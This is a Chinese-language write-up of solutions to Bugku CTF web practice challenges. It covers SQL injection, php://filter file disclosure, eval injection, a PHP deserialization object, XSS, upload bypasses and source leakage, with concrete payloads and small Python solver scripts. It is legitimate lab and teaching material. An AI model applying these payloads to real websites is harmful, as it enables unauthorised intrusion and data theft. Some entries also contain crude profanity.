CTF练习平台_bugku_web_部分writeup

WEB2

看源代码得flag

文件上传测试

找一张图片上传,截包改后缀名为.php得flag

计算题

F12修改输入框允许长度

web$_GET

?what=flag

Web$_POST

Requests.post(url,data={‘what’:’flag’}).text得flag

矛盾

要求输入不为数字且等于1,试0x1失败,查过之后若输入1开头的字符串在与1进行检测的时候会判定与1相等即可得到flag

WEB3

查看源代码低端有可疑的ascall码值,截取转换后得到flag

Sql注入

Id=1和id=1’结果一致,猜测可能是宽字节注入,’号被转义所致。测试id=1%df’报错确认为宽字节注入。根据提示写注入为id=1%df’ union select string from key%23,在key这块报错,猜测应该是表名和字段名重复,加反单引号将key确认为表名,再次提交报错select的列数不匹配,改为id=1%df’ union select 1,string from `key`%23得到flag

 

SQL1

审查源代码,过滤了很多关键字,但源代码会去掉参数中的<>标签符号,可以在过滤关键字中加<>符号绕过。先union seclect 1,database()%23查询数据库为sql3,再用union select 1,group_concat(table_name) from

information_schema.tables where table_schema=’sql3’%23得知sql3库下有三个表key、hash、title,由题知应该再key库中的hash字段(也可以通过查key库中的字段名来确认,key中有两个字段分别为id和hash)。用Union select

1,group_concat(hash) from sql3.key%23爆出字段。

你必须让他停下

用burpsuite截包后不停地forward,然后查看httphistory可以找到带有flag的历史页面。

本地文件包含

Eval()会将参数字符串当作命令语句执行,故利用类似单引号闭合的原理可以注入语句。构造payload如下?hello=1);print_r(file(‘./flag.php实际效果如下,eval(“var_cump(1);print_r(file(‘./flag.php’));”);拿到flag。

变量1

根据代码得知只能get无符号字符串的args,而输入之后会返回$$args的值,提示flag再变量中,可以构造args=GLOBALS即可返回该全局变量数组的所有值,其中包括flag。

秋名山老司机

根据题目的要求,写python脚本在两秒内post数据即可。代码如下:

import re

import requests

url='http://120.24.86.145:8002/qiumingshan/'

r=requests.session()

txt=r.get(url).text

ans=re.findall('

(.*?)=.*?',txt)

ans=eval(ans[0])

payload={'value':ans}

txt=r.post(url,data=payload).text

print txt

ps:概率出flag,尽量不要再cmd中运行会因为编码原因无法显示。


WEB4

url解码后得到源代码如下:

functioncheckSubmit(){

      vara=document.getElementById("password");

      if("undefined"!=typeof a){

            if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)

                  return!0;

            alert("Error");

            a.focus();

            return!1

      }

}

document.getElementById("levelQuest").onsubmit=checkSubmit;

则可知当传入的password值为67d709b2b54aa2aa648cf6e87a7114f1时返回真值得到flag。

Web5

看源码JS加密,在控制台即consle中跑得到ctf{whatfk},题目提示大写改为大写即为flag。

Flag在index.php中

Click后可看出为文件包含,需要查看index.php才能得到flag,想到php://filter流的查看源码,构造payload:file=php://filter/convert.base64-encode/resource=index.php

输入密码查看flag

简单的弱口令爆破,五位数字,密码为13579

Javascript

查看源码,点击1000000次后会向网站post一个点击次数的数据,直接post即可得到flag。

备份是个好习惯

猜测index.php存在备份文件index.php.bak,下载后产看源码,上传key1和key2两个md5相等值不相等的数据即可得到flag,因为会消除一次key故构造kkeyey1[]=1&kkeyey2[]=2即可。

成绩查询

爆库名、爆表名、爆字段名、爆字段得flag,前一个查询列数为4。

-1' union selectdatabase(),1,2,3#   库skctf_flag

-1' union select1,2,3,group_concat(table_name) from information_schema.tables wheretable_schema='skctf_flag'# --fl4g,sc

-1' union select1,2,3,group_concat(column_name) from information_schema.columns wheretable_name='fl4g'# --skctf_flag

-1' union select1,2,3,group_concat(skctf_flag) from fl4g# --flag

WEB6

响应头中的headers中有flag字段,两次b64解码后得到margin,根据提示需要将其post上去,但每次网页刷新后解码得到的margin都不同,写py时利用requests.session()保持连接即可。学到的点,

Requests.get/post()等返回对象response可以使用response.headers[‘header’]获取对应响应头的数据。取flag脚本如下

Import requests

Import base64

url=’ http://120.24.86.145:8002/web6/’

s=requests.session()

res=s.get(url)

flag=res.headers[‘flag’]

flag=base64.b64decode(flag)

flag=base64.b64decode(flag[-8:])

payload={‘margin’:flag}

prints.post(url,data=payload).text

Cookies欺骗?

查看页面和源码没有什么有用的提示或者数据,再抬头看看URL

http://120.24.86.145:8002/web11/index.php?line=&filename=a2V5cy50eHQ= filename后缀显然是base64编码,解码为‘keys.txt’,修改为index.php的编码可以查看源码,line控制行数,写脚本可快速得到源码


error_reporting(0);

$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");

$line=isset($_GET['line'])?intval($_GET['line']):0;

if($file=='')header("location:index.php?line=&filename=a2V5cy50eHQ=");

$file_list =array('0' =>'keys.txt','1' =>'index.php',);

if(isset($_COOKIE['margin'])&& $_COOKIE['margin']=='margin'){

$file_list[2]='keys.php';

}

if(in_array($file,$file_list)){

$fa = file($file);

echo $fa[$line];

}

?>

从代码中不难看出传入cookie满足条件,同时使file为keys.php即可获得其中的内容,再python中写如下脚本:

Import requests

Import base64

url= 'http://120.24.86.145:8002/web11/index.php?line=0&filename=’

keys=base64.b64encode(‘keys.php’)

url=url+keys

cookie={‘margin’:’margin’}

printrequests.get(url,cookies=cookie).text

never give up

查看源码发现1p.html打开后被导向奇怪的地方,重新访问并抓包得到了很长的var字符串,观察为url编码,两次解码后得到源码如下:


if(!$_GET['id'])

{

      header('Location: hello.php?id=1');

      exit();

}

$id=$_GET['id'];

$a=$_GET['a'];

$b=$_GET['b'];

if(stripos($a,'.'))

{

      echo 'no no no no no no no';

      return ;

}

$data =@file_get_contents($a,'r');

if($data=="bugkuis a nice plateform!" and $id==0 and strlen($b)>5 anderegi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)

{

      require("f4l2a3g.txt");

}

else

{

      print "never never never give up!!!";

}

可知传入满足要求的id、a、b即可得到flag(其实可以直接访问f4l2a3g.txt)。id需要满足要求不为空且为0,如果我们get id=0服务器会认为id为空,所以需要构造字符串绕过,检测字符串与0时使用两个等号,转换字符串为整形即为0。对a的要求是打开名为a的文件要满足文件内容为bugku is a nice plateform!,利用php://input,使a=php://input,该文件内容为post内容,同时post bugku is a nice plateform!即可满足a的要求。对b的要求为长度大于5且b[0]!=4,且’1114’中存在’111’+b[0]。Strlen检测长度时遇到%00不会被截断,而eregi会被截断,故构造b为字串,首位为%00,长度大于5,则检测时长度满足,eregi(‘111’,’1114’)也满足,b首位整形也不等于4也满足,即可得到flag。

Welcome to the bugkuctf

查看源码,又遇到了file_get_contents这个函数…如果get txt这个参数且目标文件内容为welcome to the

bugkuctf即可进行下一步文件包含,file参数使用php filter流即可获取其它文件源码,file参数如下,file=php://filter/convert.base64-encode/resource=hint.php/index.php,通过上述两次操作(保持txt参数不变)即可分别得到index.php/hint.php文件的base64加密源码,解码后结果如下:

----------index.php-------------------


$txt =$_GET["txt"]; 

$file =$_GET["file"]; 

$password =$_GET["password"]; 


if(isset($txt)&&(file_get_contents($txt,'r')==="welcometo the bugkuctf")){ 

    echo "hellofriend!
"; 

    if(preg_match("/flag/",$file)){

            echo "不能现在就给你flag哦";

        exit(); 

    }else{ 

        include($file);  

        $password =unserialize($password); 

        echo $password; 

    } 

}else{ 

    echo "you are not the number of bugku! "; 


?> 


$user =$_GET["txt"]; 

$file =$_GET["file"]; 

$pass =$_GET["password"]; 


if(isset($user)&&(file_get_contents($user,'r')==="welcometo the bugkuctf")){ 

    echo "helloadmin!
"; 

    include($file); //hint.php 

}else{ 

    echo "you are not admin ! "; 

 -->

-------------hint.php-----------------


classFlag{//flag.php 

    public $file; 

    public function __tostring(){ 

        if(isset($this->file)){ 

            echofile_get_contents($this->file);

            echo "
";

        return ("good");

        } 

    } 

?>

Hint.php文件提示我们有flag.php的文件,flag多半在其中。看下index.php里有对file参数的限制不能包含flag,所以不能直接访问。而在hint.php中有一个flag类,这个类里有一个神奇的方法__tostring(两个下划线)这个方法在对象被引用的时候会自动地执行,也就是说我们可以利用这个方法输出flag.php里地内容。那么问题来了,要怎么创建这样一个对象呢。仔细观察index.php,绕过前面的txt参数后,include($file);   $password = unserialize($password);  echo $password;有这样三句,首先我们可以利用第一句include将hint.php引进来,即让参数file=hint.php,则在index.php也就有了Flag这一类的定义,最后就要靠password这个参数了,我们要让password成为一个Flag类,且password->file=’flag.php‘,这样就可以在输出password的时候调用__tostring这个方法了。然后查一下unserialize()这个函数,反序列化函数。所以我们要构造一个序列化后的password,写个脚本利用一下serialize()这个函数。Php脚本如下:


      class Flag{

            public $file=’flag.php’;

}

$a=new Flag();

echo serialize($a);

?>

获得我们需要的序列化结果为O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

则将该值赋给password即可获得flag.php的内容(txt参数仍为php://input同时post welcome to the bugkuctf,file参数为hint.php引进该文件),网页显示为空截包即可拿到flag。

XSS注入测试

第一次做XSS类的题目,和SQL注入概念差不多,不过前者利用js代码,后者利用sql语句。不多做展开,以后遇到题目学习对应的知识。查看页面源代码,得到关键部分如下:

var s=””;

document.getElementById(‘s’).innerHTML= s;

这题没有声名注入点,到处查查发现是在id处(get)注入,id值替换s。题目中

的框内为空,利用document.getElementById(‘s’).innerHTML = s;

src=1 onerror=alert(_key_)\u003e拿到flag。

过狗一句话

根据提示直接已经构造了assert()可以直接构造语句到s即可。第一步查看文件,system(“ls”)无效,可以只用glob(pattern,flag)来匹配所有符合条件的文件,语句为print_r/var_dump(glob(‘*’)),找到flag.txt文件,输出之即可print_r/var_dump(file/file_get_contents(‘./flag.txt’))或者highlight_file/show_source(‘./flag.txt’)得到flag。

各种绕过哟

查看源码很简单,id被url解码后为margin,字母被解码不变,可以直接传参。Uname和passwd值不同但sha1相同,构造两个不同的数组即可,php中md5()和sha1()漏洞为不能处理数组会返回1。注意passwd是被post的。还有就是不能把参数传到flag.php…要传到index.php。

WEB8

很喜欢出File_get_contents()的题啊。?ac=1&fn=php://input

Post 1即可得到flag。

正则字符串

Php正则和其它语言大同小异,需要强调的点,/号之间的内容为正则模式串,后一个/之后的内容标识其它信息,例如这里的i标识大小写不敏感。{n,m}表示匹配前一个字符n-m次。[[:punct:]]代表任意符号,非字母数字。随便搞一个字符串上去就可以了? id=keyaakeyaaaaaakey:/a/aakeya%

考细心

可能没有get得到考点,御剑扫描robots.txt,提示resusl.php还是什么的再打开,然后他要get一个x和password做比较,也不知道比较成功后会怎样,反正搞个x=admin就拿到flag了233333。

求getshell

很厉害的题目,没有get到要点,只查到了标准拿flag的姿势。Burp抓包发到repeat里,改三个地方,第一个content-type后面跟着遗传东西,把第一个m改成M,不知道为什么。该文件上传使用了multipart/form-data这一中传输方式,不同于post又有些相似,这种传输方式要求content-type后面要写这个东西,后面还跟着一个boundary=什么什么,这个使用来分割数据的描述区和内容区的,从后面可以看出来,为什么改成大写可以绕过??我也不知道。然后还要改的点有两个比较好理解,一个是把文件后缀改为php5这个是一种后缀名绕过的方法,当然还有很多什么asp、php1、Php等等,此处就这一个php5可行。最后要改的点是第二个content-type:这个后面写的是文件内容类型,不管你传的什么改成imag/jpg表示你传的是个图片,jpg也可以改成png什么的都行。然后Go一发flag就出来了。

Flag.php

这个题有毛病,给的提示hint居然是一个只要传进去就给源码的参数,QNMLGB,这是什么提示,强奸了我的智商。然后就是一个反序列化的cookie,一开始看到了下面的key就反序列化了一波,然后我发现我的智商再次被强奸,这个Key是之后赋值的,所以之前空空空!!!然后就拿到了flag,我开始怀疑人生了。

SQL2

装的很像一道sql注入的题目,事实上几乎难以注入,给的提示也完全看不懂,查了一波原来是源码泄露,简单来说就是有一个DS_Store的文件泄露了,通过这个文件我们可以分析出整个网站的后台结构目录并下载这些文件的源码,去github下载一个ds_store_exp-master的脚本跑一下,源码就下载下来了,有一个叫做flag的,打开就看到了flag。然后不甘心的看看index.php,login.php…SQL注入NMLGB。

推荐阅读更多精彩内容